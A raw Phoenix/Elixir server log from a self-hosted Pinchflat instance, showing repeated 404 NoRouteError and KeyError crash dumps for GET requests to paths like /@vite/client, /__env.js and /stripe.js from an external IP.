[file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52230}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52230}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21481.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfZBTqRXsgXEACMQB"} ], scheme: :http, script_name: [], secret_key_base: :.. (truncated) 15:40:17.931 [info] GET /@vite/client 15:40:17.931 [debug] QUERY OK source="settings" db=0.1ms idle=889.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.932 [debug] QUERY OK source="settings" db=0.0ms idle=475.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:17.932 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:17.932 [error] #PID<0.21483.0> running PinchflatWeb.Endpoint (connection #PID<0.21482.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@vite/client ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53544}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21483.0>, params: %{}, path_info: ["@vite", "client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/@vite/client", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfZlp1GQ9mncACMQh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53544}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53544}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21483.0>, params: %{}, path_info: ["@vite", "client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/@vite/client", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfZlp1GQ9mncACMQh"} ], scheme: :http, (truncated) 15:40:18.043 [info] GET /__env.js 15:40:18.043 [debug] QUERY OK source="settings" db=0.1ms idle=263.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.043 [debug] QUERY OK source="settings" db=0.1ms idle=263.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.043 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.043 [error] #PID<0.21485.0> running PinchflatWeb.Endpoint (connection #PID<0.21484.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21484.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21485.0>, params: %{}, path_info: ["__env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfaAS3X9_31QACMRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21484.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21484.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21485.0>, params: %{}, path_info: ["__env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfaAS3X9_31QACMRB"} ], scheme: :http, script_name: [], secret_key_base: :.. (truncated) 15:40:18.155 [info] GET /vendor.js 15:40:18.156 [debug] QUERY OK source="settings" db=0.2ms idle=224.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.156 [debug] QUERY OK source="settings" db=0.1ms idle=224.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.156 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.157 [error] #PID<0.21487.0> running PinchflatWeb.Endpoint (connection #PID<0.21486.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /vendor.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53562}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21487.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfabKNpyuaK8ACMRh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53562}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vendor (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vendor.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53562}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21487.0>, params: %{}, path_info: ["vendor"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/vendor.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfabKNpyuaK8ACMRh"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:18.268 [info] GET /stripe.js 15:40:18.269 [debug] QUERY OK source="settings" db=0.2ms idle=225.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.269 [debug] QUERY OK source="settings" db=0.0ms idle=225.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.269 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.269 [error] #PID<0.21489.0> running PinchflatWeb.Endpoint (connection #PID<0.21488.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /stripe.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53564}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21489.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfa2EnA6U_eUACMSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, 